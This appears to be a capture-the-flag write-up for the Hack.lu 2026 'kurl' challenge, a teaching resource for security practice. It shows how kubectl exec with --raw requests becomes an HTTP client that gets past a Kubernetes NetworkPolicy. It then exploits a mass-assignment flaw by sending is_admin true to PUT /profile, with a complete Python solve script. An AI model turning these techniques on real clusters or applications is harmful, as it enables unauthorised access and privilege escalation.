$ cat writeup.md…
$ cat writeup.md…
Hack.lu 2026
Task: players receive a kubeconfig for a locked-down namespace and must reach an in-cluster web app that the NetworkPolicy hides. Solution: use kubectl as an HTTP client against the service ClusterIP, then exploit a mass-assignment flaw in PUT /profile that trusts a user-supplied is_admin field.
Kubernetes is the new Curl!
Players are given a per-instance URL of the form
http://download.kurl.flu.xxx:1337/kubeconfig/<instance>?token=<token> which
returns a kubeconfig (HTTP 503 Cluster is still starting until the namespace
is ready). The kubeconfig authenticates as a namespace-scoped ServiceAccount and
the goal is to reach a web app that is only reachable from inside the cluster.
English summary: this is a Kubernetes RBAC/pivot challenge. There is no shell in
the namespace — the only tool available is kubectl inside a read-only pod, and
a default-deny NetworkPolicy blocks everything except a single service. The
solution is to abuse kubectl itself as a generic HTTP client and then exploit
an authorization flaw in the internal web application.
The download endpoint first returns 503 Cluster is still starting, then a
kubeconfig once the instance is provisioned. The config authenticates as
system:serviceaccount:ctf:ctf-player.
Effective permissions:
pods/exec create restricted to the resource name player-shellpods, services, networkpolicies.networking.k8s.io → get, list, watch/api, /apis, /healthz, /version, openidselfsubject*reviews createRecon:
kubectl auth can-i --list kubectl get pods -n ctf kubectl get svc -n ctf kubectl get networkpolicies -n ctf -o yaml kubectl get pod -n ctf flag-server-<hash> -o yaml
Findings:
kubectl get pods -n ctf shows flag-server-<hash> and player-shell.kubectl get svc -n ctf shows a flag-server ClusterIP service on port 80.-o yaml): a default-deny-all policy, plus
player-shell egress allowed only to app=flag-server port 8080 and DNS;flag-server ingress allowed only from app=player-shell.flag-server-<hash> is python:3.12-alpine running /app/app.py (from configmap
flag-server-app), with the OpenAPI document served from configmap
flag-server-openapi, and a Secret named flag mounted at /flag.player-shell runs image p4ck3t0/kubectl — literally only the kubectl
binary, a read-only rootfs, and automountServiceAccountToken: false.So there is no shell, no curl, no wget, no python on the player pod. The intended
primitive is kubectl itself.
services/proxy and pods/proxy subresources return 403
even though kubectl auth can-i get services/proxy -n ctf prints yes
(can-i is optimistic for subresources; the actual RBAC rule is not granted).configmaps, secrets, serviceaccounts, or deployments.flag-server:8080 times out — the
Service port is 80 and forwards to the pod's 8080. Use the service name
flag-server on port 80, or the pod IP on port 8080.Because only kubectl exists inside player-shell, the trick is to point
kubectl at a non-Kubernetes HTTP server with --server= and use the --raw
sub-command to issue arbitrary requests. --token=x is a throwaway value only
needed to satisfy client config validation; the target app ignores it.
Everything runs through the exec grant on the pod name player-shell:
kubectl exec -n ctf -c container player-shell -- <kubectl ...>
GET:
kubectl exec -n ctf -c container player-shell -- \ kubectl --server=http://flag-server --token=x get --raw /openapi.yaml
POST (needs -i to pipe stdin):
printf '<json>' | kubectl exec -i -n ctf -c container player-shell -- \ kubectl --server=http://flag-server --token=x create --raw /register -f -
PUT:
printf '<json>' | kubectl exec -i -n ctf -c container player-shell -- \ kubectl --server=http://flag-server --token=x replace --raw '/profile?token=<T>' -f -
Note the mapping: get --raw → GET, create --raw /path -f - → POST,
replace --raw /path -f - → PUT. Together with --server, this turns kubectl
into a complete HTTP client through the NetworkPolicy.
/openapi.yaml describes a Python web app called Vaultboard (an account
portal):
POST /register — creates an account; explicitly rejects the is_admin field.POST /login — returns a session token.GET /dashboard?token= — privileged admins see the flag.GET /profile?token= and PUT /profile?token= — PUT replaces the whole
stored user record and explicitly allows every field, including is_admin.The vulnerability is a classic mass-assignment / missing server-side
authorization check: registration validates and strips is_admin, but the
profile update endpoint trusts the client-supplied record — including
is_admin — when it writes the account back.
Register an ordinary account and capture the session token from the 201 response body:
POST /register {"username":"u","password":"p"}
Update the profile with the same credentials plus is_admin: true. The
PUT replaces the account record and the role is accepted:
PUT /profile?token=<T> {"username":"u","password":"p","is_admin":true}
Read the admin dashboard with the now-promoted token; it returns the
privileged flag (flag{REDACTED}).
Full orchestration script:
#!/usr/bin/env python3 """ kurl (Hack.lu 2026) — solve. Requires: kubectl configured with the downloaded kubeconfig (namespace ctf). Uses the granted pods/exec on 'player-shell' to run kubectl-as-HTTP-client against the in-cluster 'flag-server' Service (port 80 -> app port 8080). """ import json import re import subprocess import sys NAMESPACE = "ctf" POD = "player-shell" CONTAINER = "container" TARGET = "http://flag-server" # ClusterIP Service, port 80 -> pod 8080 def kubectl_exec(remote_args, stdin_data=None): cmd = ["kubectl", "exec"] if stdin_data is not None: cmd.append("-i") cmd += ["-n", NAMESPACE, "-c", CONTAINER, POD, "--"] + remote_args proc = subprocess.run( cmd, input=stdin_data, capture_output=True, text=True, check=False ) if proc.returncode != 0: sys.stderr.write(proc.stderr) return proc.stdout def raw_get(path): return kubectl_exec( ["kubectl", f"--server={TARGET}", "--token=x", "get", "--raw", path] ) def raw_post(path, body): return kubectl_exec( ["kubectl", f"--server={TARGET}", "--token=x", "create", "--raw", path, "-f", "-"], stdin_data=json.dumps(body), ) def raw_put(path, body): return kubectl_exec( ["kubectl", f"--server={TARGET}", "--token=x", "replace", "--raw", path, "-f", "-"], stdin_data=json.dumps(body), ) def extract_token(html): # The app returns the session token in the response body; adjust the # pattern to the exact markup served by /register and /login. m = re.search(r"(?:token[\"'=:\s]+)([A-Za-z0-9._-]{8,})", html) if not m: raise SystemExit(f"could not find token in: {html[:400]}") return m.group(1) def main(): # 0. Confirm the internal app is documented. print(raw_get("/openapi.yaml")[:400]) # 1. Register a normal, non-admin account. creds = {"username": "u", "password": "p"} resp = raw_post("/register", creds) token = extract_token(resp) print("session token:", token) # 2. Privilege escalation: PUT /profile trusts the client record, so the # is_admin flag is written straight into the account. escalate = {"username": "u", "password": "p", "is_admin": True} print(raw_put(f"/profile?token={token}", escalate)[:200]) # 3. Admin dashboard now returns the flag. dashboard = raw_get(f"/dashboard?token={token}") print(dashboard) if __name__ == "__main__": main()
The same chain can be executed by hand with the three raw kubectl invocations
shown in the analysis section.
Use this approach when:
kubectl auth can-i --list shows a narrow exec grant on one fixed pod
(here pods/exec create on player-shell) but nothing else useful.kubectl (image
p4ck3t0/kubectl, read-only rootfs) — a strong hint to use it as an HTTP client.default-deny-all NetworkPolicy isolates an in-cluster service, and the
only allowed flow is your pod → app=flag-server:8080./openapi.yaml, which documents the real
application routes.POST /register
strips is_admin) but accepts it on another (PUT /profile replaces the
whole record) — direct evidence of a mass-assignment authorization bug.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar